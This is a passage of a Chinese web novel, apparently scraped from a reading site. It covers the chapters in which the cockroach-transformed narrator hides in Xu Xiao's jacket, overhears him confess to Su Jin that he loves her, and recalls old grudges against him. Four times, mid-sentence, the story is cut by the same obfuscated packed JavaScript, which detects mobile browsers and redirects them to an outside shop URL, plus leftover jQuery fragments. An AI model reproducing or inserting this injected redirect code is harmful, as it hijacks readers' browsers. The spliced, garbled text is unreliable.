土豆的香气从厨房晃悠悠地飘过来,往我鼻子里钻,我却丝毫不为所动,双眼放光地紧盯那橙黄色盒子。 我可太熟悉这个包装了,那是我最爱吃的蛋黄酥! 这家的蛋黄酥里面的咸蛋黄不噎人,红豆沙只给了薄薄的一层,不会像有的蛋黄酥一样喧宾夺主,还加了一层雪媚娘,咬下去口感就会更丰富。 我的人生口粮,一生挚爱。家中常备,逢人就推,这么多年了都没有吃腻。 亲爱的蛋黄酥,我都变成蟑螂了,咱俩竟然还能见上面! 我知道一盒里面有六个,许枭应该没法一次性吃完。只可惜每个都是独立包装,我一个蟑螂很难快速撕开。 无妨,只要能熬到夜深人静的时候,我有的是时间慢慢咬开! 许枭拆开包装盒,拿了一个出来拆开。我不认可他现在的状态,一点都没有面对蛋黄酥应有的虔诚和狂热,他甚至没有面对食物最基础的尊重。 他的神色过于平淡,动作也过于不慌不忙。直到撕开包装袋,对着手里的蛋黄酥发呆时,面无表情的脸上才出现了点情绪。 他像在看一个死了的蛋黄酥。 蛋黄酥是不会死的,然而许枭的表情确实出现在葬礼上也不违和。就好像这家蛋黄酥已经停产了,他手上这个是世上最后一个xx家蛋黄酥。 许久,他终于咬了下去,神情却丝毫没有我预想中的满足和幸福,反而悲戚更甚。 如果不是面前这人是许枭,我甚至会怀疑他是为了缅怀我才买的蛋黄酥。 毕竟当时那事过去没多久的时候,我也在笨拙地学着做妈妈小时候给我打的米糊糊,和爸爸专门为我学的茄汁牛腩滑豆腐。 妈妈打的米糊糊放了很多东西,常见的大米小米糯米花生黑芝麻一类的就不说了,还加了薏米红米黑米甚至燕麦米,有时候我会怀疑她是把家里能放进去的东西通通放进去了,但妈妈不承认,她坚称自己是有章法的。 小时候我相信是真有章法,因为打出来香喷喷的,实在好喝;长大后我也相信是真有章法,因为明明买了能想到的所有米回来,我还是打不出妈妈打的味道。 爸爸会做很多家常菜和个别几道大菜,说大也不算大,都是普通人也能学会的。小时候的我在饭店吃到什么都惊为天人,于是心心念念,他就挨个学。 爸爸不是天才厨师,直到做冷烧冰淇淋的那家店都把这个菜下架了,他也没有学会。但他学会了没有什么技术含量的清蒸鲈鱼、鸡蛋焖粉皮、茄汁牛腩滑豆腐…… 事情发生了那么久,此后又被生活接二连三的重担压得喘不过来气,我很久没有再为他们掉眼泪,还以为这事早就过去了。 眼睛又变得酸酸的。真希望我没有变成蟑螂,如果我还是个人,这时候至少有眼泪可落。 许枭只咬了一口,就把蛋黄酥放在了一边。他又背靠在沙发上闭着眼。 此举好歹把我从酸酸苦苦的情绪里拉了出来。 谁允许他这样亵渎蛋黄酥的? 难道是这一批的品控出了问题,吃着不好吃?我决定晚上好好帮他尝尝。 然而尽管自己在脑子里一句又一句地插科打诨,我却没法忽视直觉上挥之不去的不对劲。 许枭没有量体温,也没有去医院。他看起来并没有真的生病,只不过是拿来当借口。他其实窝在家里,在书桌前敲字,写他们寻找我的分工和计划。 许枭没有先追杀我,也没有擦干净手机。他着急忙慌地听苏槿地电话,跑出去见她。好像从听了那通电话起,他浑身上下的生机就被卸掉了大半,整个屋子的气压都是低的。 他的反应有点太大了。 我看着坐在沙发上放任自己向后躺、闭紧了眼睛仍显出眉头锁着的许枭,没有办法再把一切归因于基础的人道主义关怀。 我的生命里也出现过别人的突然消失,而且是最亲近之人永久的离开。在等待手术室里的消息时,我就这样靠在医院的长椅上,仰着头,什么也吃不下。 我想,其实我比任何人都更能明白许枭此时的状态。 有个可能性在我心里挥之不去,只是从逻辑上完全不能纳入考量。 我早就不是从前那个闪闪发光、被多少人捧着都不为过的秋飒。 小学时理所应当地觉得大家都该喜欢我,甚至会统计“我最好的朋友”命题作文里选择写我的人数。谢秋阳写的是我,她形容我为“一只得意洋洋的小孔雀”,被语文老师当众表扬,说她的比喻精准又生动,抓住了人物的核心特征。 那样的我早就一去不复返了。 平心而论,我和以往一样聪明、勇敢,许多美好的品质仍保留在我身上,可是某种张扬的光亮被扑灭了。 我仍是一个会被很多人喜欢的人,但不是被所有人。 尤其不会被许枭喜欢。 我很努力地抑制住脑子里杂七杂八的念头,不许自己再陷入自信到无知的处境。 手机铃声响起,从书房传来。 许枭猛地睁开眼睛,快步走去。 我好像看见他眼角有点泛红,但那应该是昨晚没有睡好以至于眼里有红血丝的缘故。至于若有若无的水光,则是刚刚对着电脑看了太久然后休息了眼睛的结果。 书房里很快传来他低低的声音: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372659|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……我一个小时就能到。好,那就一个小时之后见。” 一小时之后见?见谁? 以他现在的状态,苏槿的可能性很大。 许枭拿着那袋硼酸,走向厨房关火,看来我的土豆蒸好了。厨房里叮铃咣啷一阵动静,一时半会儿应该出不来。 我盯着沙发上那件外套,陷入了沉思。 一直留在这里,凭借着许枭偶尔带回来的食物,我可以苟活一段时间,可我毕竟不是真的蟑螂。 我有很多牵挂的人和事,比如我的工作、我的朋友,还有我的人生。尽管在变成蟑螂这种荒谬的事态下,我显然没有决定自己能不能变回人形的余地,但我当然不能就此接受从今往后真的像一只蟑螂般生活。 这可能是我绝无仅有的机会。 比起继续留在许枭家、对未来毫无办法,或是某一次抓住开窗开门的机会溜出去、独闯外面危险的世界,如果能偷渡到苏槿家,我或许更有一线生机。 哪怕没有什么实质性的改变,至少我有可能想办法告诉苏槿我还活着,好让她不必如此担忧。 退一步讲,哪怕向她传达我是秋飒太不现实,至少我能看一看她现在是什么状态,自己也能安心几分。 退一万步讲,苏槿至少不是许枭这样的洁癖。在她偶尔的懒惰和邋遢下,我的存活率会上升。 许枭的外套搭在沙发上,是他昨天穿回家的那件。没有进洗衣机,说明还打算穿,会不会就是今天? 如果他要见的真是苏槿,如果他今天还穿这件外套……如果躲进外套里,有没有可能搭顺风车出去,伺机跟着苏槿回家? 我承认此行有冒险的成分,甚至他要见的人都很有可能不是苏槿。但事情已经够糟糕了,我不是坐以待毙的人,也不是瞻前顾后的螂。 趁许枭为我做饭之际,我毅然决然钻进了他的外套。 谢谢你的土豆泥,但我不会吃的,而且可能很快就要用不上了! 这是件黑色的冲锋衣,和我的颜色相近,躲在里面应该不显眼。本想躲在口袋里,可万一许枭把手伸进来,我和他就都要受到惊吓了。 听说男装设计会细节舒适很多,我决定钻进去一探究竟,看看有没有女装里没见过的地方可以供我躲藏。 还真给我找到了。 左胸口内侧有个小口袋,甚至还有扣子,应该是为了装贵重东西的。腰部内侧还有个大一点的,没有扣子也没有盖布,但很深,看起来能装不少东西。 一时之间,我竟不知该先为找到了藏身之处而高兴,还是为我的外套内侧通通没有口袋而不满。 小口袋硬硬的,有张卡片在里面,我怀疑是身份证。考虑到他的行程里说不定包括报警,有出示身份证的可能,这个位置不够安全。 大口袋却空空如也,看起来还没用上。 我蹑手蹑脚地钻了进去,尽力把自己缩在角落,等候着许枭为我做完饭,带我出去遛弯。 我的心态诡异地像一只真正的宠物狗,但我们蟑螂恐怕这辈子都不会被人类划入宠物行列。 ……我的意思是,它们蟑螂这辈子不会被我们人类划入宠物行列。 9. 苏槿 口袋和衣服把外面的声音隔得模模糊糊,我听着好像很远处传来的动静,听着屋子里走来走去的脚步声——我猜那是在到处给我放夺命土豆泥——终于,许枭消停下来,走到了我附近。 尽管知道自己发不出什么声音,我还是极力屏住了呼吸。 短短几秒对我来说像过去了好几分钟,直到感觉到所处的口袋被提溜起来,我才终于松了口气。 赌对了! 我缩在最内侧,紧紧抓牢口袋缝口处,一阵地动山摇后,口袋停在了某个有点暖和的地方。 两边都是漆黑的布料,其中一边的温度却更高些。我伸出触角,戳了戳温度低的左边,布料后是另一层布料;戳了戳温度高的右边,比墙壁软,比棉花硬。 我可能在戳许枭的肚子。 这个认知使我有点想笑,很大程度上消解了身处悬在半空中的口袋的不安。我很快移动了起来,速度忽快忽慢,偶尔有停顿,应该是许枭在准备出门。 果然,片刻窸窸窣窣后,外面“哐”的一声,这是关门的声音。 我本以为自己能大概识别出外面的环境,诸如在电梯、在走路或是在坐车,却发现近乎封闭的环境远比想象中更让人晕头转向。在暗无天日的颠簸中,我放弃了辨认。 什么都看不见又不能睡觉的时间很无聊,好在马上就有可能见到苏槿,难以抑制的期待和紧张很好地弥补了这一点。 很久之后,我终于又听到了许枭的声音。 他的声音来源很奇怪,像是从头顶,又像从四面八方。 “你好,我是许枭。” 很温和礼貌的语气,是他在外人面前一贯的腔调。 “你好你好,久仰大名。” 我听到一道熟悉的女声从很远的地方传来,要努力竖起耳朵才能听到。 霎时便感觉想要落泪,就像是在幼儿园受了委屈能忍住不哭,见到妈妈和爸爸来接我时却会“哇”地一声哭出来一样。 真的是苏槿。 她的声音仍和我记忆里一模一样,除了带了浓重的鼻音。语气却出乎我的意料。 苏槿是个很内向的人,在外面买杯奶茶都要我代为点单就算了,也一直不愿意认识些新朋友。她总说不敢贸然去和别人结交,害怕他们像小时候那些人一样欺负她。 每当这时我便会想起,某个夜晚我们挤在同一张窄窄的宿舍床上,她小声讲完了所有故事。一想到那些过去,我也就会放下劝她敞开心扉的念头。 我没有立场要求她走出来。 甚至直到毕业季找工作时,每次面试前我都要鼓励她很久,训练她如何在HR面前装得外向。面试后接她回来,她总像是耗尽了全部精力。 很难想象苏槿对第一次见面的许枭,能用这么大的音量说出“你好”,还跟了个体面的“久仰久仰”,声音一点都没有颤抖。 我在口袋里晃了晃,随即彻底稳定下来,看来是许枭坐下了。 “他们能准时到吗?”许枭先开了口。 “可以。他们主要是要上班,所以十二点左右才能开始往这边赶。” 苏槿这句话长了点,使我得以听得更清楚——她的声音虽然没有颤抖,但很紧绷。 外人或许听不出来,会被她从容的表象所欺骗,我却能轻易听出,她在勉力使自己支棱起来。这是我训练过她无数次的面对HR时的表现。 我有点欣慰,心疼的成分更多,为她明显是哭过的鼻音,为她努力鼓起的勇气。 “理解,”许枭又问她,“你呢?你不需要上班吗?” “我请假了。”苏槿简短回应。 怎么也请假了? 许枭请假也就算了,苏槿请假可不容易。我知道她那个领导一向不好说话,即使是病假都要被嚼半天,提起胆子去跟他请假,她要做很久心理准备吧? 沉默在两人一螂之间流转。 “你呢?” 苏槿好像意识到话题断掉了,突如其来地反问一句。尽管僵硬,但显然已是她努力后的成果。 “我也请假了。”许枭温声道。 “我怕突然有什么转机,万一有我能帮上忙的,就干脆请假等着你通知了。顺便做了一下分工,微信发你了,你看看合不合适。” 他好像意识到了苏槿的不善言辞,于是主动接过了话头。 “好,辛苦你了。”有正事可做,苏槿显然放松了点,连语气都舒缓了不少。 我也更觉欣慰。 苏槿总说她嘴笨、怕跟人打交道,说她没有办法很好地和人交流,总会显得晚熟木讷,甚至没有情商。 “可是我们每天说这么多话,不是交流都很正常吗?”我当时问她。 “我只是和你说话不觉得那么害怕,”她回答,“其实在别人面前,我真的会磕磕绊绊说不好。我一紧张就结巴,一结巴就更紧张。” 可是到目前为止,她做得很好。 她不仅没有磕磕绊绊,而且很礼貌得体。无论是见面那句“久仰”,还是现在这句“辛苦”,都很完美地遵循了社交礼仪。 我想她比她所以为的自己要厉害很多。 “那个谢秋阳……”许枭又开口,语气有点犹豫,“其实我有点拿不准。我给她排的工作量是和林嘉昱一样的,她会愿意吗?” 谢秋阳? 这个名字对我来说实在有点太遥远了。尽管我总偷偷摸摸去视奸她的朋友圈,对她的近况了如指掌,但距离我们上一次说话,已经过去好几年了。 不同于我和许枭从一开始就不对付,谢秋阳与我之间,因曾经的亲密无间,而更无法维持脆弱的体面。 自从那次争执后,我们心照不宣地把对方当陌生人。周围人也清楚这种微妙的关系,在我面前总刻意避免提到她,在她面前想必也是如此。即使被分在一个小组,我们都会专门编理由找老师调开。 从小学到高一,我们一直是最好的朋友,后来我将其归因于足够相似的特性。 我爱热闹,她也爱热闹,所以我们都喜欢把一群人聚在一起玩游戏或是聊八卦,享受七嘴八舌的氛围。 我爱出风头,她也爱出风头,所以我们一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372660|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恬不知耻地报名班里和学校的每一次文艺汇演或各类晚会。 尽管合唱时她是大白嗓而我有点跑调,尽管我们一起编排的小品现在看来有些尴尬,但总是乐此不疲地把它们搬到舞台上。 年少不知羞耻的我们常把自己视作“一代双秋”,如今再想起这个形容我会脸红,但在那个时候我们把这个词当□□个性签名。 至于我们的决裂,我也归因于过于相似的特性。 我们性格里的骄傲是一致的,我无法接受我最好的朋友会那样不分青红皂白地加入误解苏槿的行列,她也无法容忍我把苏槿带到她面前时近乎背叛的意味。 也许气急败坏下说出的再伤人的话都可以随时间而消解,可是在我们之间,没有谁会屈尊降贵地递出第一个台阶。 彻底决裂和几年间没有联系,是我们的必然。 她又是为什么突然被提起? “她的情况你竟然也知道?”苏槿听起来也有些惊讶,虽然和我惊讶的点不太一样。 “听说过一点,”许枭不太自然地回答,“我们有共友,跟你们在一个学校,无意中提起过。” 什么共友这么多事? 和从小到大最好的朋友绝交,当然算不上什么光彩的事。我和许枭的关系僵硬也是有目共睹,拿我这事去跟许枭说,这个共友不是蠢就是坏。 我恨恨地想。 “这样啊……”苏槿的语速慢了下来,“我其实也没想到她会来。” “本来是想着一点希望也是希望,就拜托了林嘉昱问问她情况,结果林嘉昱特别尴尬地来问我,说谢秋阳也想一起,能不能带她一个。” “情况都这样了,我也顾不上尴尬不尴尬了,能多一个人出份力也是好的……” 这有点出乎了我的意料。 所以他们在等的人是谢秋阳和林嘉昱吗?那份我没有看完的分工里,还有他们要承担的部分吗? 好几年没有说话的谢秋阳也会愿意参与其中吗?苏槿竟然愿意和她见面,甚至是交流、共事吗? 我的心被一揪又一揪。 两人的声音还在时不时响起,有一搭没一搭地商量分工和下一步的安排,我渐渐有些跑神,沉浸在刚才那些话带给我的五味杂陈里。 “……别这么说,是我要谢谢你能让我参与进来。” 许枭一句话把我的思绪拉了回来。我急忙调取正待从耳朵和脑子里溜出去的上一句话音。 “辛苦你了,这么忙前忙后的。”苏槿上一句说。 许枭的话还在继续:“如果不是你第一时间告诉了我这件事,让我之后从别人嘴里听到她已经失踪很久的消息,我真的会后悔一辈子。” 我吓了一跳——至于把话说这么重吗? 然而他的口吻却很认真,甚至说得上虔诚,任谁来了都会明白,他在真心实意地道谢。 苏槿显然也一时没反应过来,她过了好几秒才开口。这次她的声音很小,因此像从更遥远的地方传来,我屏息凝神才能听清。 “所以你……其实是暗恋她的吧?” 10. 误会 我一时不知该谢谢苏槿,还是该怪她多嘴。说不定我应该立刻飞出来停在她嘴上,好让她不要再问了。 她似乎也意识到了这个问题有点不妥当,很慌张地找补。 “不好意思,我问的有点多了……主要是当时找上你,也是抱着赌一赌的想法。每次听她说起来你们之间的事情,我都隐隐约约感觉有点不对劲,本来以为是我太敏感了……” 我恍然大悟——难怪会找到许枭头上。 我开始意识到不对劲已经是在变成蟑螂以后,看到许枭为我的失踪有种种不寻常的反应,才终于起了疑心。 苏槿竟然早就有察觉吗? 我知道她虽然话少,却一向比我更敏感,尤其对情绪的感知更为敏锐,却没想到能敏锐到这个程度。 可是每次都感觉不对劲,怎么从来没跟我说过? “不过你能这么上心,应该是我当时没有猜错……对不起,是我太多管闲事了。” “只是现在联系不到她,就总想多听到一点关于她的事情——” 我感觉到苏槿的语气越来越勉强,想必是越补越多、越解释越心虚。 许枭的迟迟不作答显然加强了她的担忧,苏槿的声音越来越低,逐渐飘散在空气里,没有了下文。 然而在许枭没有回答的这几秒沉默里,我意识到我是该谢谢苏槿。因为我连触角都不敢再动,认真等着许枭的答案。 好吧,我承认我也有点好奇。 其实也不是什么很值得一听的答案,通过各种证据获知各种人喜欢我的戏码,我早已司空见惯——尽管那已是两三年前的大学时期。 毕业后我就不太在意这种情情爱爱的破事儿了。我要活命,我要还钱,我要攒够钱然后辞职,我不是闲人,没有心力去在意谁喜欢我谁讨厌我。 但我现在是一只闲蟑螂。 况且这可是许枭的答案。 尽管明知结合过往的种种表现,更可能是某个其他我和苏槿没有想到的原因,但我还是抱有一丝期盼。 但凡他敢给出肯定的字眼,我与他这些年之间无言无形却切实存在的战役,便彻底以我的胜利告终。 “所以你……其实是暗恋她的吧?” 在这短短几秒的沉默里,苏槿最开始的那个问题在我脑海中不断重复。 “她和你说的是暗恋吗?” 许枭的声音有点滞涩。 我的大脑也有点滞涩。 想必苏槿的大脑也有些滞涩。 她语塞了很久,终于犹豫着开口:“你这是什么意思?” “我以为这算明恋的,”许枭的语气转而有些迟疑,“不过如果是从她拒绝我算起,那确实是暗恋。” “毕竟她都那么讨厌我了……我再去反复说什么喜欢她,不是给她添麻烦吗?” 他的语气有点苦涩。 我的大脑有点空白。 “啊?”苏槿的尴尬被惊讶打断,脱口而出,“她还拒绝过你吗?” “原来她没跟你说啊……”许枭话中苦涩更甚,“也是。对她来说本来就是烦心事,确实也没必要再提。” 他自嘲一笑,身处他口袋中的我螂躯一震。 这一连串的对话一句比一句离奇,我怀疑自己在口袋里呆太久了,因缺氧而出现了幻听。 只有苏槿的话还在老老实实地遵循着我的世界观,尽管她的语气也越来越不自信。 “她一直以为你讨厌她,从一开始就讨厌她——” “我怎么可能讨厌她?”轮到许枭脱口而出。 你怎么可能不讨厌我? 我也想脱口而出,我也有无数个问题要问,我恨不得站上桌子去和许枭对峙—— 可惜我偏偏只是一只不会说话的蟑螂。 老天,我恨你让我变成了蟑螂! 我祈祷苏槿能作为我的嘴替,问出点更关键的问题。可惜以她一向内敛的性格,刚刚那些恐怕已是她全部的勇气,再也说不出如此没有边界感的话了。 果然,她期期艾艾地接道:“那可能、可能是有什么误会吧。” 说罢缄口不言,放任气氛一片死寂。 误会!什么误会!哪年哪月哪天发生的什么误会?哪句话能产生如此之大的误会?什么误会能持续整整十多年? 通通没有答案。 我抓心挠肝地想知道,却毫无头绪。 许枭也显然没有向苏槿倾诉的打算,同样放任话题戛然而止。两人之间刚刚熟悉一点的气氛顷刻消失,周围安静得让我不习惯。 安静到我好像听见了许枭的心跳。 这究竟是不是他的心跳,我其实无从考证,毕竟我所处的位置大概在他的腰腹,没道理能听到来自心脏的声音。 可是考虑到周围格外安静的环境、我不太了解的骨传导知识、这副蟑螂躯壳难以估量的听觉范围,我还是不得不往这个方向怀疑。 “咚!咚!” 有节奏、不太明显但存在,从我的右边传来,沉闷而有力。 这样的声音,怎么会不是心跳呢? 它好像在变快。我不太确定地数了一会儿节拍,才能肯定它确实快了些;然而在我刚确定此事没多久,又重新慢了回去。 好吧,那刚刚的加速是因为什么呢? 心跳又不会骗人。 这样的场景实在奇妙,我静静缩在此生最大仇敌的口袋里,听着他为我而忽快忽慢的心跳。 暗恋也好,明恋也罢。我在他的心跳声里,细数他不该是喜欢我的证据。 奉送给我这张热脸的冷屁股,擦肩而过时的漠然,说话时的忽视和跑神,谁会对喜欢的人做出这些冷硬之举? 况且若仅仅是为这些,我不至于把他列入最讨厌的人选。 他明里暗里给我找过不少麻烦,这人阴得很。 我最早的印象来自小学,那时候我们已经不坐同桌了。大课间时所有人都下楼做操,只有我和他留在班里。 他留在班里是因为要值日,今天轮到他擦黑板;我留在班里是因为我肚子痛请假了——当然啦,我装的。 尽管只有我们俩在班里,我也不会理他。我敬业地趴在桌子上维持肚子痛的人设,实则在看最近妈妈新给我买的《故事大王》。 上课老师不让看,下课时间不够,逃掉课间操来一本最新的《故事大王》,该是多么一件美事啊。 门口走过一个人,路过往我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372661|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们班里看了一眼,重又折返回来。 “喂!秋飒!”他从门口喊我。 是隔壁班的高崇浩,不太熟的熟人。我在二班游戏界拥有举足轻重的地位,而他在一班无敌手,高手与高手之间总是互有耳闻的,打过几次照面,也就默认算是认识了。 “快出来!快出来!”他连连朝我招手。 我意犹未尽地放下了《故事大王》。 高崇浩显然心里有事,我刚一出来,便蹑手蹑脚地把我拉到一边:“你今晚放学能晚点走吗?” 我警惕地看着他:“干什么?” 许枭恰在此时从我们身边路过,看起来是黑板擦完了,要去洗抹布。 高崇浩于是把声音放得更低:“晚上放学先别走,咱们打一架?” “打一架?”我眼前一亮,随即又黯淡下来,“没家伙呀。” “我带家伙了。” “一个也不够呀。” “我带了俩。” 他鬼鬼祟祟地把衣服往我面前翻,露出羽绒服里藏着的白色一角。我一眼便能认出,那正是PSP的倩影。 带了俩!崇浩兄这个仁义! 如此一来,我们就能联机来一场酣畅淋漓的拳皇对决了。早就听闻他的不知火舞出神入化,然而我的八神庵也素有威名,能和这种对手切磋,岂不快哉! 我当即狠狠点头,与他相约晚上放学后共聚小树林。 小树林其实是一片枇杷林,就在校园的东北部。枇杷成熟的季节,我们会不顾老师的警告和保安的呵斥,尽一切可能冲入小树林偷取枇杷。 现在是没有枇杷的季节,小树林便安静且安全。 然而那一晚我们终究没有分出胜负。 我们花了点时间确定赛制,选择了五局三胜——虽然平时一般都是三局两胜,但这种专业的较量当然要选择专业的五局三胜——并确定了赌注是十包辣条,我指定开胃丝,他指定卫龙。 以至于真正的较量才刚刚开始,便被背后的一声怒音打断。 “高崇浩!” 高崇浩手一抖,当即便露了破绽。 尽管因喊的不是自己的名字,我反应慢了一瞬,但也迅速意识到了什么,于是整个人一激灵。 我俩耗尽此生最大勇气,哆哆嗦嗦地转头看去。 正是一班班主任赵老师。 高崇浩看见他们班的班主任,手上的PSP还在拳皇的页面上,早已吓得魂飞魄散;我至少没有直面自己的亲班主任,稍微分出点注意力,发现了远远跟在后面的那道人影。 许枭。 和他坐了一年的同桌,我一眼便能认出他的身形,何况今日他穿深灰色羽绒服在我面前擦了那么久黑板,我印象深刻。 和高崇浩在教室外密谋时许枭一闪而过的身影飞速出现在我脑海,和余光里那道人影重叠。一切已真相大白。 果然是你告的状! 两台PSP被没收,赵老师说高崇浩期末要考至少两科满分才能拿回去;我被赵老师交给自己的班主任马老师,马老师罚了我一周的值日和整整五百字的检讨。 许枭,我做鬼也不会放过你的!做人做猫做狗都不会,哪怕做蟑螂也不会! 11. 恶意 如果说小学时找老师告状还能归因于没有开智,初中时那次陷害就是纯粹的恶意了。 初三的生活已经够苦了,偷偷看点课外书自然无可厚非。彼时我们都正是情窦初开的年纪,看点言情小说更是平常。 我看的那本尤为刺激。男主是男二的弟弟,女主是男主的嫂子,兄弟阋墙争风吃醋。小小的我已经知道,有些东西它虽然背德,但实在让人欲罢不能! 以至于即使因胃疼而请假在家一上午,我也仍惦记着放在课桌抽屉里的小说。 昨天晚自习回家吃了妈妈买回来的烧麦,因其惊为天人的美味而一人连吃十来个,又因糯米不好消化,时间也已是睡前,我意料之中地积食了。 那时周六也是要补课的,周日又要去外面的辅导机构,妈妈早就觉得我一周七天都睡不了懒觉太痛苦,便借此机会为我请假一上午,让我好好睡个懒觉。 这本是天降的惊喜,如果不是我回到学校看见心心念念的小说消失了,而谢秋阳悲痛地通知我去一趟姚老师办公室的话。 “你节哀吧,”她面容哀戚,痛心疾首,“怎么就这么倒霉?谁给你放的包子啊!” 我不明白。 “什么包子?怎么回事?老师到底怎么发现的?” 她同情地拍了拍我的肩:“恐有奸人所害啊老秋!” 即使是一向善良、总会放过我们的姚老师,面对初三冲刺期出现在课桌里的言情小说,也忍不住发了大火。 我迎接了前所未有的狂风暴雨。 学习对我来说不是难事,从小到大成绩都很好,加上性格外向、有眼力见,我的老师缘一向不错。因此虽然有时候会犯点小错、违点小纪,却总能被轻轻放过。 这是我第一次遭受这种待遇。 姚老师甚至没有像小学时赵老师收走高崇浩的游戏机一样,许诺考到多少分就可以还给我。那本小说被她锁在最下面的抽屉,我挨着骂,明智地没有试图讨价还价。 直到今天我都没能拿回它,也至今不知道女主最后选择了哥哥还是弟弟。 现在我长大了,也许还能再买到一本新的,说不定还能在网上找到电子版,可是已没了那样的期待和着迷,心境一去不复返。 留下的唯有对凶手的无穷仇怨。 凶手自以为天衣无缝,其实已留下了作案痕迹。 谢秋阳说,事发时是第一节语文课,姚老师正上着课,突然就停了下来,皱起了眉头。 “谁在吃包子?自己站出来。” 包子味不是姚老师先闻见的,因其味道明显,班里大半人都翕动着鼻子在找来源。班里是不让吃东西的,要拿到教室外吃,上课更是不能把味道这么重的东西带进来。 这位勇士吃的还是肉包子,肉香在教室里飘得格外招摇。 没有人承认,姚老师便有点生气了,一个一个摸查,终于查到了我的课桌。 “当时姚老师弯腰去看你的课桌抽屉,本来只是想把包子拿出来的,结果刚一拿出包子,就停在那里好几秒,又把你的小说掏出来了!” 事已至此,我已完全明白。我那可怜的小说是被包子所连累才惨遭收缴,否则平时好好的,姚老师怎么会检查我的课桌? 可是包子是哪来的?我当时根本没来学校,是谁给我放了包子、害我痛失爱书? 我问遍前后左右桌,都说从他们进教室就没见人靠近过,于是把侦查范围扩大到整个班,终于问到了今天最早来教室的同学。 她说:“我早上到的时候,隔壁班的许枭刚从咱们班出去。” 许枭在隔壁班常年垄断第一的位置,便如我在我们班所享有的地位一般,这种人的名字当然会被很多老师挂在嘴边,我们班的同学基本上都认识他。 “我当时还觉得奇怪,问他怎么在咱们班,他说早上走错了,我也就没多问。”证人回忆道。 我对他的怀疑直线上升。 只有他一个人有作案时间,况且之前也有跟老师告状的先例,我以为人上了初中就该学会礼义廉耻的,他怎么反而比小学时更阴了? 尽管心里已给他定了罪,我还是遵循程序正义,晚上把他堵在了班门口。 “要不要换个地方?”他没有挣扎,只是有点为难地提议。 放学的点,旁边人来人往的,两个班的同学都纷纷扭头看我们,丝毫没有掩饰好奇心的打算。 “换什么换,”我没好气道,“敢做就要敢当,你做得出来这种事,害怕别人知道不成?” “主要是怕老师——” 许枭一句还没说完便止住了,或许是看见我鄙夷的眼神,生出了几分傲气,他昂了昂首:“你说的也对,我肯定敢作敢当的。” 我更是气不打一处来。 他还理直气壮起来了? “是你吧,”我盯着许枭,试图从这双很少情绪外露的眼睛里,找到一点慌乱和心虚的蛛丝马迹,“是你给我放的包子吧?” 我如愿以偿地找到了慌乱,可是没有找到心虚。也许我并没有小说里常说的察言观色的能力,因为我从他神情里感受到的竟然是紧张、扭捏和一点……羞涩? 一定是我看错了。 “是我,”他像是下定了某种决心,“我专门放在了那本书上,你看到了吧?” 这一句当时就把我问愣在原地。 我想不明白世上怎会有如此厚颜无耻之人,不仅做出这等陷人于绝境之事,还能光明正大地问苦主有没有看到。 他的目光落在我身上,我从他眼里读出了掩饰不住的期冀和喜悦,这次我确信没有看错。 在期待什么?期待听到我的处罚结果吗?在高兴什么?为我的遭遇而幸灾乐祸吗? 他没有进化出羞耻心吗? 九年义务教育不允许我在班门口大声骂人,我咬牙切齿地从牙缝里挤出一句—— “你真恶心。” 为使这一句文明用语的分量能像脏话一样重,我学着电视剧里黑化的反派,把声音放得很低很冷,力求使每一个字都有千钧重,能把我的不齿全囊括在内——这不难做到,因为我确实有种想去掐他脖子的冲动。 这是我平时说话几乎从未有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372662|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的语气。 许枭显然也被其中的恶意所感染,终于收回了那副高兴的嘴脸。他把嘴张了又张,好像终于反应过来该如何回击,但在他说出口的前一秒,我适时地延续上了攻击。 “你知道为什么你一直没有朋友吗?因为像你这样的烂人,没有人会喜欢你,我小时候是瞎了眼才会想着要带你一起玩。” “你尽管这样卑劣下去吧,不会对我造成任何影响,我会继续被老师、被同学喜欢,而你会这辈子都没有朋友,而且迟早会成为过街的老鼠。” “总有一天你的嘴脸会被别人知道,你会被所有人讨厌。除了我,因为我早就知道你是个什么样的烂人——” “所以我永远讨厌你,从一开始到最后。” 